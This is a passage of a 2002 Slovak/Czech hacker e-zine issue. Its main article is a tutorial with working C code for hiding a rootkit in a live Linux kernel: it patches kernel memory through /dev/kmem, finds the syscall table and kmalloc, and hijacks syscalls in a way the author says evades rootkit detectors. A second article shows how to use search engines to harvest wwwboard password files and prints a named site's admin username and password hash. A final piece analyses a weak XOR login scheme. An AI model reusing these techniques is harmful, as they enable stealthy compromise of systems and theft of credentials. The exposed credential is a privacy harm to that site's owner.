::::::::::. :::::::.. :::.,:::::: ::: ... . :
`;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;;
`]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ \[[,[[[[, ,[[[[,
$$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$
888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM
prielom #17, 27.02.02 , prielom(at)hysteria.sk, http://hysteria.sk/prielom/
intro
patchovani linuxoveho /dev/kmem
utoky, utoky, ach tie utoky
ako eurotel varil hadi olej
uvod do ipsec (protokoly, implementace, pouziti)
hackers on the planet earth 2000
board
ked priblizne pred rokom server underground.cz vyhlasil sutaz, ktorej cielom bolo najst co najviac programatorskych chyb v dynamicky generovanych strankach, ci uz napisanych v php, asp, perle alebo akomkolvek inom jazyku, vsetci ucastnici sa istotne dobre zabavali. aspon ja osobne urcite. kedze administratori a webmasteri inkriminovanych nepodarkov boli informovani (cudovali by ste sa, kolko ludi absolutne ignoruje nastavenie povinnych mailovych aliasov akym je napriklad postmaster@) a vseobecne povedomie o bezpecnosti sa zda byt na lepsej urovni ako v minulosti, dalo by sa ocakavat, ze aj zasluhou takejto akcie sa uroven zabezpecenia na slovenskom a ceskom internete zlepsi a programatori a admini sa poucia. opak je vsak pravdou. namatkovo som si osvedcenou metodou nasiel zopar desiatok webov a musim povedat, ze bezpecnostnymi chybami trpi vacsie percento stranok ako pred rokom. a to ani nespominam tie z minulorocneho sutazneho blacklistu, velke mnozstvo z nich je stale v povodnom stave. este viac zarazajucim faktom je vsak to, ze na maily, v ktorych som upozornoval niekolkych webmasterov a administratorov deravych webov som nedostal ani jednu jedinu odpoved. vsetky z nich este dnes stale trpia tym istym problemom. niektori ludia sa nikdy nepoucia...
mnoho z vas uz bolo skalopevne presvedcenych, ze prielom zmizol z povrchu zemskeho. zial, musim vas sklamat, nove cislo je tu a kilobajty z dalsieho si uz alokovali svoje miesto na mojom disku. v exhibicii tych, ktori sa nehanbili a prispeli do tohto cisla sa objavia temy ako patchovanie linuxoveho kernelu on-the-fly (clanok, ktory sme dostali k dispozicii uz skor, medzitym stihol vyjst v magazine phrack #58. napriek tomu ho uverejnime, nie kazdy vie po anglicky alebo cita phrack). o tom, ako mozu byt webove vyhladavace uzitocne sa presvedcili uz ucastnici minulorocnej sutaze, nieco viac sa dozviete v dalsom prispevku. o dalsich ludoch, co sa nikdy nepoucia je clanok od juraja bednara, mohol by sa tiez volat "na slovensku je to tak". ipsec pre mnohych uz davno nie je len pathlaskovou skratkou, ostatni maju sancu dozvediet sa zakladne informacie prave tu a teraz. show dnes zakonci johny s reportazou, ktora ma ten spravny folklorny nadycho, ak ste neboli na h2k, aspon sa pozrite ako to tam vyzeralo. snad zase nabuduce...
salo, 26.02.02, bratislava
"mem is a character device file that is an image of the main memory of
the computer. it may be used, for example, to examine (and even patch)
the system."
-- gnu/linux, mem(4)
cas od casu si clovek potrebuje trosku pohrat s kernelem. zpravidla k tomu slouzi vice ci mene kvalitni kernelovy moduly, kterych uz existuje pekna radka. ja se tady zamerim na tema, jak se da upravit za behu kernel bez system.map, lkm supportu a jejich pribuznych, jenom ciste pres /dev/kmem. a abyste nerekli, ze sem skrt, je k dispozici i ukazka, jak to muze fungovat v praxi, kompletni rootkit pro 2.2.x a 2.4.x serie kernelu, vicemene prvni sveho druhu. pokud jeste furt nevis "wocogo", bude rozumejsi si trosku pobrowsovat kernel, zaklady assembleru a minimalni znalosti jak funguji syscall a kernel/user mechanismy jsou nutnosti...
/dev/kmem
vsechno, co si tu ukazeme, funguje pres /dev/kmem, coz, jak jiste vsichni vime, je virtualni obraz systemu, ktery se chova jako soubor. to znamena, muzeme nastavovat pozici pres lseek(), cist/psat pres read()/write() a to je asi tak vsechno :). samozrejme, tohle nefunguje jen tak od prirody, musime mit pravo zapisovat na zarizeni a proces, ktery open() provadi, musi mit CAP_SYS_RAWIO, protoze kernel si tuhle capability nejdriv zkontroluje, nez nam dovoli kmem otevrit.
zmena syscallu
syscally jsou z pohledu user-levelu (t.j. aplikaci) nejnizsi uroven systemu v linuxu, takze ty nas budou zajimat nejvice. jejich adresy jsou ulozeny v jedne tabulce (sys_call_table), 256 pointeru, tzn. indexovani cislem syscallu v tabulce nam da pointer na handler danyho syscallu.
priklad v pseudokodu:
/* ukazka, "hello world" ;-) */
/* puvodni syscall */
int (*old_write) (int, char *, int);
/* new syscall handler */
new_write(int fd, char *buf, int count) {
if (fd == 1) { /* stdout ? */
old_write(fd, "hello world!\n", 13);
return count;
} else {
return old_write(fd, buf, count);
}
}
old_write = (void *) sys_call_table[__NR_write]; /* uloz starej */
sys_call_table[__NR_write] = (ulong) new_write; /* nastav novej */
/* no, urcite muzeme delat lepsi veci nez zprasit konzoli
textem "hello world" :) */
tohle je klasickej scenar vsech moznych lkm rootkitu, tty snifferu/hijackeru atd. kde je zaruceno, ze mame importovanou sys_call_table a muzeme s ni zachazet podle libovule. v praxi to znamena, ze insmod ji resolvne do import sekce modulu. [ create_module() / init_module() ... ]
sys_call_table bez pouziti lkm
samozrejme, ve svete neni vsechno tak jednoduche a casto bude kernel zkompilovan bez podpory lkm. to znamena zadnej insmod, zadny /proc/ksyms a tak dale. kernel v tomto pripade neuchovava zadnou informaci o symbolech ... mno, proc taky? na debugovani? od toho je system.map. jenze my adresu sys_call_table potrebujeme, jestli chceme neco menit :).
docela elegantni zpusob muze byt:
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
struct {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed)) idtr;
struct {
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
} __attribute__ ((packed)) idt;
int kmem;
void readkmem (void *m,unsigned off,int sz)
{
if (lseek(kmem,off,SEEK_SET)!=off) {
perror("kmem lseek"); exit(2);
}
if (read(kmem,m,sz)!=sz) {
perror("kmem read"); exit(2);
}
}
#define CALLOFF 100 /* precteme 100 bajtu handleru int $0x80*/
main ()
{
unsigned sys_call_off;
unsigned sct;
char sc_asm[CALLOFF],*p;
/* precteme IDTR */
asm ("sidt %0" : "=m" (idtr));
printf("idtr base at 0x%X\n",(int)idtr.base);
/* votevri kmem */
kmem = open ("/dev/kmem",O_RDONLY);
if (kmem<0) return 1;
/* precti IDT pro int $0x80 */
readkmem (&idt,idtr.base+8*0x80,sizeof(idt));
sys_call_off = (idt.off2 << 16) | idt.off1;
printf("idt80: flags=%X sel=%X off=%X\n",
(unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);
/* mame handler, ted budeme hledat neco jako
call *0xadresa(,%eax,4) */
readkmem (sc_asm,sys_call_off,CALLOFF);
p = (char*)memmem (sc_asm,CALLOFF,"\xff\x14\x85",3);
sct = *(unsigned*)(p+3);
if (p) {
printf ("sys_call_table at 0x%x, call dispatch at 0x%x\n",
sct, p);
}
close(kmem);
}
jak to funguje? detaily o idt zde rozebirat nebudu, viz. intelacka dokumentace :), sidt instrukce se "zepta" procesoru [asm ("sidt %0" : "=m" (idtr));] kde je ulozena struktura informaci o idt, z teto struktury dostaneme adresu idt deskriptoru pro int $0x80 [readkmem (&idt,idtr.base+8*0x80,sizeof(idt));] z toho se pak da uz snadno odvodit vstupni adresa int $0x80 [sys_call_off = (idt.off2 << 16) | idt.off1;]
takze ted vime, kam procesor skace, kdyz nekdo zavola int $0x80. tak se na nej podivame bliz:
[sd@pikatchu linux]$ gdb -q /usr/src/linux/vmlinux (no debugging symbols found)...(gdb) disass system_call Dump of assembler code for function system_call: 0xc0106bc8 <system_call>: push %eax 0xc0106bc9 <system_call+1>: cld 0xc0106bca <system_call+2>: push %es 0xc0106bcb <system_call+3>: push %ds 0xc0106bcc <system_call+4>: push %eax 0xc0106bcd <system_call+5>: push %ebp 0xc0106bce <system_call+6>: push %edi 0xc0106bcf <system_call+7>: push %esi 0xc0106bd0 <system_call+8>: push %edx 0xc0106bd1 <system_call+9>: push %ecx 0xc0106bd2 <system_call+10>: push %ebx 0xc0106bd3 <system_call+11>: mov $0x18,%edx 0xc0106bd8 <system_call+16>: mov %edx,%ds 0xc0106bda <system_call+18>: mov %edx,%es 0xc0106bdc <system_call+20>: mov $0xffffe000,%ebx 0xc0106be1 <system_call+25>: and %esp,%ebx 0xc0106be3 <system_call+27>: cmp $0x100,%eax 0xc0106be8 <system_call+32>: jae 0xc0106c75 <badsys> 0xc0106bee <system_call+38>: testb $0x2,0x18(%ebx) 0xc0106bf2 <system_call+42>: jne 0xc0106c48 <tracesys> 0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4) <-- to je ono 0xc0106bfb <system_call+51>: mov %eax,0x18(%esp,1) 0xc0106bff <system_call+55>: nop End of assembler dump. (gdb) print &sys_call_table $1 = (<data variable, no debug info> *) 0xc01e0f18 <-- pointr na sct (gdb) x/xw (system_call+44) 0xc0106bf4 <system_call+44>: 0x188514ff <-- opcode (little endian) (gdb)
(system_call je symbol handleru int $0x80) uz je asi jasne, o co nam pujde, staci kdyz budeme hledat [memmem (sc_asm,CALLOFF,"\xff\x14\x85",3);] vypln call *0xadresa(%eax,4) .. neprimej skok na adresu v sys_call_table podle cisla v eax, strojove by to melo byt:
0xff 0x14 0x85 0x[addresa]
nutno poznamenat, ze zde se muze uplatnit o neco vice paranoidni hack, a to zmenit vektor int $0x80 primo v idt na nas handler a zachytavat syscally tam, jenze to by znamenalo vice assembleru, semafory a takovy ty osklivosti :).
takze ted vime, kde mame sys_call_table, ted muzeme zmenit adresu nejakeho syscallu:
pseudokod:
readkmem(&old_write, sct + __NR_write * 4, 4); /* save old */
writekmem(new_write, sct + __NR_write * 4, 4); /* set new */
presmerovani tabulky syscallu
v praxi existuji dve metody, jak presmerovat nejaky syscall. bud primo zmenit adresu v kernelovej sys_call_table, nebo vytvorit jeji kopii s modifikovanymi adresami a prinutit int $0x80 handler aby ji pouzival. my pouzijeme druhou metodu, protoze vetsina takzvanych "rootkit detektoru" to moc neprokoukne.
pseudokod:
ulong sct = adresa kernelovej sys_call_table[]
char *p = pointer na int 0x80 instrukci call sct(,eax,4)
ulong nsct[256] = nova tabulka s modifikovanejma adresama
readkmem(nsct, sct, 1024); /* precti starou */
old_write = nsct[__NR_write]; /* zmen syscall(y) */
nsct[__NR_write] = new_write;
/* a podstrc handleru nasi adresu :) */
writekmem((ulong) p+3, nsct, 4);
/* nutno poznamenat, ze tohle realne nemuze fungovat,
protoze nemuzeme jentak beztrestne presmerovat neco
v kernelu do userspace ... */
vytvorime kopii originalni tabulky [readkmem(nsct, sct,1024);], zmenime syscally, ktere nas zajimaji [nsct[__NR_write] = new_write;] a pak zmenime jenom argument instrukce call *adresa(%eax,4) primo v handleru int $0x80.
0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4)
~~~~|~~~~~
|__ tady bude adresa
nasi (upravene) sct[]
alokovani pameti v kernelu bez lkm
dalsi vec, co potrebujeme j,e pamet v kernelu, to znamena nad limitem 0xc0000000. hodnota 0xc000000 je pomyslna delici cara mezi userspacem a kernelem, userspace proces nema zpravidla moznost zapisovat nad tento limit. jeste poznamenejme ze tato hranice nemusi byt 0xc0000000, ale cokoli jineho, takze je rozumne ji odhadnou za behu (treba z adresy int $0x80 handleru). nuze, jak ziskat par stranek pameti nad timto limitem ? podivame se jak to normalni kernel dela (/usr/src/linux/kernel/module.c):
[...]
void inter_module_register(const char *im_name, struct module *owner,
const void *userdata)
{
struct list_head *tmp;
struct inter_module_entry *ime, *ime_new;
if (!(ime_new = kmalloc(sizeof(*ime), GFP_KERNEL))) {
/* Overloaded kernel, not fatal */
[...]
hmm, uplne normalni kmalloc, jenze tuto funkci zatim jeste nemuzeme zavolat, ponevadz:
- nezname jeji adresu (viz nize)
- nezname hodnotu GFP_KERNEL prave bezicihi kernelu
- nemuzeme volat kernel primo z userspace
vyhledani kmalloc()
pokud prece jenom muzeme pouzit LKM, je to jednoduche:
ulong get_sym(char *n) {
struct kernel_sym tab[MAX_SYMS];
int numsyms;
int i;
numsyms = get_kernel_syms(NULL);
if (numsyms > MAX_SYMS || numsyms < 0) return 0;
get_kernel_syms(tab);
for (i = 0; i < numsyms; i++) {
if (!strncmp(n, tab[i].name, strlen(n)))
return tab[i].value;
}
return 0;
}
ulong get_kma(ulong pgoff)
{
ret = get_sym("kmalloc");
if (ret) return ret;
return 0;
}
komentar viz `man get_kernel_syms`.
pokud tady ale lkm neni, nastavaji krusne casy, jedine co nas napadlo je takova znouzectnost. prozkoukame .text sekci kernelu a budeme hledat vyplne typu:
push GFP_KERNEL <neco mezi 0-0xffff>
push size <neco mezi 0-0x1ffff>
call kmalloc
vytvorime malou statistiku a funkce ktera nam vyjde jako nejcasteji volana bude *mozna* kmalloc :) presnost neni zrovna nejlepsi, zpravidla vychazi tak 80% nalezu na kmalloc() a 20% na nakej balast okolo, ale je to bez lkm, tak se stim da zit :)
kod:
/* kmalloc() vyhledavani */
#define RNUM 1024
ulong get_kma(ulong pgoff)
{
struct { uint a,f,cnt; } rtab[RNUM], *t;
uint i, a, j, push1, push2;
uint found = 0, total = 0;
uchar buf[0x10010], *p;
int kmem;
ulong ret;
/* nez skusime neco bruteforcovat, skusime to nejdrif podobrem */
ret = get_sym("kmalloc");
if (ret) return ret;
/* mno, tak ne, no */
kmem = open(KMEM_FILE, O_RDONLY, 0);
if (kmem < 0) return 0;
for (i = (pgoff + 0x100000); i < (pgoff + 0x1000000);
i += 0x10000) {
if (!loc_rkm(kmem, buf, i, sizeof(buf))) return 0;
/* prozkoumej blok a hledej push/push/call pattern */
for (p = buf; p < buf + 0x10000;) {
switch (*p++) {
case 0x68:
push1 = push2;
push2 = *(unsigned*)p;
p += 4;
continue;
case 0x6a:
push1 = push2;
push2 = *p++;
continue;
case 0xe8:
if (push1 && push2 &&
push1 <= 0xffff &&
push2 <= 0x1ffff) break;
default:
push1 = push2 = 0;
continue;
}
/* mame have push1/push2/call seq; ted adresu */
a = *(unsigned *) p + i + (p - buf) + 4;
p += 4;
total++;
/* skus najit v tabulce */
for (j = 0, t = rtab; j < found; j++, t++)
if (t->a == a && t->f == push1) break;
if (j < found)
t->cnt++;
else
if (found >= RNUM) {
return 0;
}
else {
found++;
t->a = a;
t->f = push1;
t->cnt = 1;
}
push1 = push2 = 0;
} /* for (p = buf; ... */
} /* for (i = (pgoff + 0x100000) ...*/
close(kmem);
t = NULL;
for (j = 0;j < found; j++) /* najdi viteze */
if (!t || rtab[j].cnt > t->cnt) t = rtab+j;
if (t) return t->a;
return 0;
}
uvedeny zdrojak si nedela nejak moc velke starosti s exotickejma optionama gcc, kod kernelu muze klidne vypadat uplne jinak (trebars kmalloc() jako inline :). mohli by sme zvysit presnost hledanim presnych hodnot GFP_KERNEL (viz. nize), ale prakticky to neni nutny.
GFP_KERNEL
toto je parametr kmalloc(), ktery specifikuje typ pameti, jakou chceme alokovat. samozrejme vyvojari kernelu neleni a release od releasu kernelu se ta hodnota lehce lisi, coz nam pridelava spoustu potizi, kdyz danou hodnotu netrefime a kernel vyblije do klogd peknej dvoustrankovej ooops. zatim to resim tak, ze si zistim verzi kernelu a podle toho pouziju danou hodnotu, ale nevypada to zrovna nejstastneji. zvlaste s 2.4.7-2.4.9, kde to jednou chodi, jednou ne...
+------------------------------+ | verze kernelu | GFP_KERNEL | +----------------+-------------+ | 1.0.x .. 2.4.5 | 0x3 | +----------------+-------------+ | 2.4.6 .. 2.4.x | 0x1f0 | +----------------+-------------+
tato tabulka neni presna. vychazi jen z faktu, ze timhle spusobem to vetsinou funguje. jsou to hodnoty, ktere muzeme pouzit (btw, pokud si nekdo da tu praci a zisti mi hodnoty pro special-kernely od suse, redhatu, slacku atd, budu jedine rad, obvzlaste u rady 2.4.x :).
a tady kod:
/* uname struc */
struct un {
char sysname[65];
char nodename[65];
char release[65];
char version[65];
char machine[65];
char domainname[65];
};
int get_gfp()
{
struct un s;
uname(&s);
if ((s.release[0] == '2') && (s.release[2] == '4') &&
(s.release[4] >= '6' ||
(s.release[5] >= '0' && s.release[5] <= '9'))) {
return NEW_GFP;
}
return OLD_GFP;
}
prepsani syscallu pro alokaci pameti
Jak uz sem rek, nemuzeme volat kmalloc() primo z userspacu, takze pouzijem malej trik:
1. vemem adresu nejakeho malo pouzivaneho syscallu (IDT -> int 0x80 -> sys_call_table)
2. udelame malou rutinu, ktera obsahujici call na kmalloc() a vrati adresu alokovane pameti
3. ulozime si sizeof(nase_rutina) bajtu z kodu naseho malo pouzivaneho syscallu
4. prepiseme tento syscall nasi rutinou
5. zavolame tento syscall z userspace pres int $0x80, cimz rutina operuje v kernel space a muze volat kmalloc(), to ucini a vrati nam pointer na pamet
6. obnovit puvodni kod naseho malo pouzivaneho syscallu
ta rutina muze vypadat treba takhle:
struct kma_struc {
ulong (*kmalloc) (uint, int);
int size;
int flags;
ulong mem;
} __attribute__ ((packed));
int our_routine(struct kma_struc *k)
{
k->mem = k->kmalloc(k->size, k->flags);
return 0;
}
zde ja primo predam z userspacu strukturu s potrebnymi hodnotami, velikost muzeme dat natvrdo, zpravidla staci 32-48 bajtu.
co dal? kdyz tohle vsechno skloubime dohromady, muzeme relativne efektivne vyuzit /dev/kmem za ucelem nejake neplechy :). to znamena zjistit int $0x80 handler, zjistit sys_call_table, alokovat pamet v kernelu, do ni nakopirovat kod handleru nasich syscallu, podstrcit falesnou sys_call_table int $0x80 handleru a hotovo.
na co davat pozor
- na verze kernelu (myslim tim GFP_KERNEL)
- hrat si jenom se syscallama, pouzivani struktur kernelu jako task_struct neni rozumny, protoze obsah se meni kernel od kernelu, a mi prece nechceme porad kompilovat :)
- smp muze obcas delat problemy, taky psat procedury reentrantne, kde to je treba pouzivat zamky
jak se branit?
nuze, ted budeme chvili ti hodni. co nam z toho vsecho vyplyva? /dev/kmem se prakticky rovna lkm, akorat je to trosku komplikovanejsi. pokud chceme zamezit pripadnym h4x0rum zneuzivanim tyhle techniky, muzeme skusit tenhle patch:
--- /usr/src/linux/drivers/char/mem.c Mon Apr 9 13:19:05 2001
+++ /usr/src/linux/drivers/char/mem.c Sun Nov 4 15:50:27 2001
@@ -49,6 +51,8 @@
const char * buf, size_t count, loff_t *ppos)
{
ssize_t written;
+ /* disable kmem write */
+ return -EPERM;
written = 0;
#if defined(__sparc__) || defined(__mc68000__)
kterej zaruci, ze z /dev/kmem pujde jen cist, mozna to spusobi urcitou nekompatibilitu s nejakyma prehistorickyma utils... nezakompilovat podporu pro lkm je samozrejmosti, jinak to vsechno ztraci smysl :).
odkazy
[1] silvio cesare's homepage, spousta informaci o podobnych vecech
[2] silvio's article, article primo o kernel patching (se system.map)
[3] quantumg's homepage, zajimave veci jako viry pod linux
[4] "abuse of the linux kernel for fun and profit" zaklady lkm :)
[5] "(nearly) complete linux loadable kernel modules. the definitive guide for hackers, virus coders and system administrators."
[6] "indetectable linux kernel modules" by spacewalker, idea implantovani sys_call_table primo do int $0x80 handleru
[7] suckit - pro deti na hrani - ia32 2.2.x/2.4.x rootkit vyuzivajici tuhle techniku, v soucasnej dobe trosku out-of-date
sd, sd(at)sf.cz
navrat na obsah
co ty na to ? board
utoky, utoky, ach tie utoky
koordinacne centrum cert odhaduje, ze pocet
utokov na pocitacove systemy v roku 2001 prekroci hodnotu 40000, co je
dvojnasobok poctu incidentov hlasenych minuly rok. pravdepodobne pojde o
virtualne utoky, nemyslim zeby niekto nahlasoval ze vyfackal svoj pocitac
pretoze mu opat spadol jeho (ne)oblubeny operacny system.
zvacseniu poctu utokov napomohlo najma priaznive prostredie (nedostatky v
zabezpeceni systemov) a existencia navodov ako postupovat. tento text nema ani
nahodou za ciel vam davat navod na utok, ale ma sluzit len ako studijny
material pre ludii, ktori sa zaoberaju bezpecnostou pocitacovych systemov.
na pocitacove systemy sa utoci z rovnakeho dovodu ako na ine ciele. pre
zabavu, alebo pre zisk (prestize, penazi, cohokolvek). existuje niekolko
sposobov ako zautocit na pocitacovy system a zaroven sa vyhnut odhaleniu.
pravdepodobne najlepsi sposob ako sa vyhnut problemom, je dat urobit riskantnu
pracu niekomu inemu. najlepsie anonymne a bez velkych nakladov. musime najst
niekoho, koho nebude zaujimat kto sme, niekoho kto nema tolko inteligencie,
aby sa bal rizika, niekoho kto nekladie hlupe otazky, niekoho, komu nebudeme
musiet platit. najmime si robotov.
pocitacovy system je mozne ohrozit z vnutra alebo z vonku. v tomto clanku sa
nebudeme zaoberat internymi utokmi (mame pristup do systemu, na ktory je utok
zamerany), ale obratime pozornost na cast, ktora obsahuje vacsiu vyzvu, na
napadnutie systemu z vonku, z akejkolvek casti internetu.
vyber ciela
k prevedeniu utoku su potrebne minimalne dve veci. utocnik a ciel. v
nasledujucich riadkoch budeme uvazovat ze utocnikom sme my. ako ciel utoku si
mozme vybrat len jeden pocitac, alebo mozme zautocit na viacero podobnych
cielov sucasne. utok na jeden ciel je mozne chapat ako podmnozinu hromadneho
utoku, takze sa nim nebudeme specialne zaoberat. isto vas napadne ze pre utok
voci viacerym cielom je najlepsie extrahovat zoznam cielov, napr. z databaz
pridelenych dns mien, alebo ip adries. no, nieje to celkom dobry napad. poucme
sa na priklade z nedalekej minulosti, ked sa cervo-virus nimda vyuzivajuci
chybu v iis od microsoftu pokusal napadnut vsetko co malo (aj nemalo) http
server. je to ako keby sme sa pokusali odomknut fab klucom vsetky zamky na
ktore narazime, ved zamok ako zamok, nie? urcite bude lepsou metodou
vytipovat si vsetky fab zamky a tie podrobit blizsiemu, velmi intimnemu
skumaniu. priamo sa nam natiska slovny zvrat: "a co som robot?!". bingo.
nechame to robotom. stretavame sa s nimi stale, vuzivame ich takmer kazdy den.
su to vyhladavacie sluzby. google, altavista, yahoo, lycos a kto vie este, pod
akymi krycimi menami sa skryvaju. zadame im vhodne naformulovanu poziadavku a
oni nam radi a ochotne vychrlia zoznam cielov, ktorym stoji za to sa venovat.
zaujimaju nas systemy, ktore su napadnutelne zvonku. systemy, ktore voci
internetu disponuju slabinami. slabinami, ktore su oficialne nazyvane
sluzbami. sluzby, v ktorych sa neprestajne objavuju nove a nove chyby. podla
nich si vyberieme nase ciele. vyhladavacie sluzby ich uz pre nas zmapovali,
alebo ich pre nas zmapuju. protokol http, server poskytujuci stranky pisane v
php, jave. aplikacie poskytujuce rozhranie pre webove prehliadace. a je toho
este ovela viac.
prieskum
pred zahajenim utoku si robime prieskum. oplati sa to, ciastocne tym vylucime
neuspech utoku. nenapadne si obzrieme miesto nasho buduceho uderu.
vyhodnotime ziskane informacie, poopravime strategiu. bohuzial, tu uz zacina
riziko, vstupujeme na nebezpecnu podu. mozme nas prieskum ciastocne
zamaskovat, no urcite sa niekomu budeme zdat podozrivi. najlepsie, co mozme
urobit, je poslat niekoho namiesto nas. roboti su neunavni, ked nam pomohli s
vyberom cielov, pomozu nam aj s prieskumom. pokial uz to neurobili iniciativne
sami. ak je sluzba, na ktoru sa zameriavame avizovana niekde na www, roboti ju
urcite nasli a zaradili do svojej bazy dat. ak nie, pripravime im slusne
susto. zoznam systemov spolu so zoznamom vyuzitelnych slabin. a pockame si.
vysledky na seba zvycajne nedavaju dlho cakat. a ak si robotov pracujucich pre
nas niekto vsimne, no a co? robotom je v dnesnej dobe dovolene to, co sa
normalnym smrtelnikom neprepaci ani nahodou.
utok
ked sme pri prieskume zacinali riskovat, teraz sliapeme po minovom poli.
samotny utok mozme previest osobne, ale, naozaj je nutne riskovat odhalenie?
viete o nejakom generalovi, ktory by bojoval v prednej lini? sposoby pouzite
pri prieskume, su velmi dobre aplikovatelne aj pri utoku. staci nam len dat
prieskumnikom zbrane a rozkaz k utoku. je vela zle naprogramovanych sluzieb,
ktore zlozi vhodne napisany vstupny retazec. retazec, ktory namiesto nas posle
vyhliadnutemu cielu pricinlivy robot. staci mu ho len naservirovat a vyckat.
prax
po par kilobajtoch hlupo a nudne napisanej teorie je cas siahnut po par
prikladoch. v prielome 16
napisal salo clanok [1] o tom, ako
pouzit www vyhladavace pre najdenie chybne napisanych php stranok.
druhy priklad sa bude tykat aplikacie napisanej v perle, wwwboard od matt
wrighta. jedna sa o script, ktory na www umiestnuje nastenku. tato nastenke je
spravovatelna cez www interface. wwwboard ma v implicitnej instalacii volne
cez web pristupny subor s menom a heslom spravcu nastenky. pre najdenie
servrov, ktore obsahuju wwwboard sa nam staci opytat napr. vyhladavaca google
nasledovnu otazku:
http://www.google.com/search?q=allinurl:+wwwboard&num=100&start=0&sa=N&filter=0
dostaneme priblizne 2,720,000 odkazov na wwwboard. ak napr. za url
`http://www.bizweb2000.com/wwwboard/' pridame passwd.txt, dostaneme vystup
`bizweb20:gcxmt4ul6.j0s'. takze mozme urobit stranku s odkazom
`http://www.bizweb2000.com/wwwboard/passwd.txt' a po jej najdeni robotom, si
vystup cisto a bezbolestne vyzdvihnut v databaze vyhladavaca. skuste si odkaz:
http://www.google.com/search?q=allinurl:+wwwboard/passwd.txt&num=100&sa=N&filter=0.
sposob enkrypcie je znamy, ako ziskat povodne heslo, tiez. to nam staci aby
sme sme si nastenku upravili podla svojho. a ked uz mame meno a heslo, preco
ich nevyskusat na systeme, na ktorom wwwboard bezi, pripadne na stroji, z
ktoreho sa spravca hlasi? mozte na to vziat jed, ze nie kazdy si vymysla
jedinecne hesla pre svoje systemy.
neexistuje sposob ako zabranit takymto utokom. jedina ochrana je pouzivanie
dobre a bezpecne napisanych programov a ich spravna konfiguracia. ale kto dnes
vie ci je program beziaci prave na vasom pocitaci dobre a bezpecne napisany?
nikto. len cas ukaze.
pouzite zdroje:
[1] prielom 16: salo, php nase kazdodenne
mikulas papuca s priatelkou, prielom(at)hysteria.sk
navrat na obsah
ako eurotel varil hadi olej
kde bolo, tam bolo, boli raz v nasej malej krajine dvaja operatori, ktori
neposkytovali vsetkym svojim klientom sluzbu posielania ich e-mailov vo forme
sms spravy na mobil zdarma, tak ako je to zvykom v kazdej inej
civilizovanej krajine (napriklad v cechach). preto sa ludia -- obcania
internetu -- rozhodli, ze si tuto sluzbu naprogramuju. pre klientov eurotelu
bol najjednoduchsi sposob pouzit sluzbu www.diar.sk (ked uz vsetky zahranicne brany
zaviedli limit na pocet odoslanych sms). ta vo svojich podmienkach taketo nieco
nezakazovala, preto to bolo idealne riesenie -- bolo uplne legalne.
jeden znamy, ktory bol na navsteve v el&t -- firme, zaoberajucej sa
vyvojom aplikacie diar, mi hovoril, ako mu ukazovali, ze si z toho robi vela
ludi vlastnu sms branu na podobne ucely, ale ze im to nevadi. neskor vsak asi
zmenili nazor (pravdepodobne v euroteli) a rozhodli sa zakazat posielanie
sprav na vlastne cislo. toto by efektivne zabranilo sms notifikacii (ktora
bola uplne v sulade s pravidlami). vtedy sa nenaslo par rozumnych hlav a
dohodlo sa na vzajomnom posielani (ja posielam tebe a ty mne). takto to par
mesiacov (zase bez akehokolvek porusenia pravidiel) fungovalo. dost ludi
pouzivalo moj softver diarlib.
zrazu sa vsetko zlomilo a konta, ktore boli udajne ,,zneuzivane'' na
posielanie kratkych textovych sprav boli zablokovane. vtedy som sa rozhodol,
ze to nema zmysel a svoje posielanie smsiek som zrusil. niektori vsak svoju
pravdu obhajili a konta im boli znovu obnovene (kedze pravidla pouzivania
aplikacie boli na ich strane a prevadzkovatel nemal dovod im konta
zablokovat). pri odpovedi vsak bola cynicka poznamka v style ,,iste vam vsak
nebude vadit zmeneny sposob prihlasovania s pouzitim java appletu''.
skutocne, na www.diar.sk sa objavil nasledovny text:
od 1. marca 2002 bude zavedeny denny limit na pocet odoslanych sms
sprav z jedneho konta na 10. tak isto bude zavedene opatrenie, ak sa
pouzivatel neprihlasi po dobu 90 dni do diara bude mu pozastavene zasielanie
udalosti.
od 6. februara 2002 je zavedena zmena v sposobe prihlasovania.
prihlasovaci dialog je rieseny java appletom z dovodu prenosu mena a hesla v
kryptovanom tvare.
z uvedeneho je vsak zjavne, ze tu neslo o ziadny kryptovany tvar, ale o
,,znemoznenie'' e-mailovej notifikacie. samozrejme, opatrenie maximalne desat
kratkych textovych sprav je ich pravom (niekedy rozmyslam, ze by mozno nebolo
zle kupit si nejaku sim kartu v cechach a pouzivat ju s roamingom u nas --
budem vyuzivat siet nasich operatorov, ale starostlivost o zakaznika,
e-mailova notifikacia a fakturacia ostane na kolegoch cechoch).
osobne ma vsak zaujimala bezpecnost toho java appletu, kedze ako tvrdia,
zaviedli ho kvoli prenosu hesla v kryptovanom tvare. po nainstalovani javy do
mojho prehliadaca (konqueror) a zapnuti sniffra sme s par kolegami prisli na
to, ako je to cele ,,sifrovane''. za chvilu vznikol nasledovny program, ktory
robil presne to, co spominany java applet (a tak som mohol javu znova vymazat,
ale povedal som si, ze ked uz mi funguje, tak si ju necham):
snad je program jednoduchy na pochopenie. ak nie, strucne ho vysvetlim: najprv
sa vytvori retazec v tvare login#heslo#, potom sa doplni nahodnymi znakmi,
vytvori sa druhy retazec rovnakej dlzky a na jednotlive znaky sa pouzije
operacia xor. druhy retazec a ten ,,sxorovany'' sa spoja dokopy a to je
prihlasovacie heslo. desifrovanie je jednoduchy xor, pricom desifrovaci kluc
sa prenasa spolu so zasifrovanym tvarom.
autori tohto appletu teda asi pouzitie slova ,,v kryptovanom tvare'' mysleli
ironicky a chceli nas pobavit. clovek by pri takomto tvrdeni cakal aspon
pouzitie asymetrickej kryptografie, ktore by zabranilo pasivnemu utoku
(aktivnemu by zabranilo pouzitie ssl s certifikatom od doveryhodnej
certifikacnej autority -- uz aj klasicky snake oil certifikat by bol lepsi,
ako toto ,,riesenie'').
nemam rad, ked vo mne niekto chce vyvolat falosny pocit bezpecia bez toho, aby
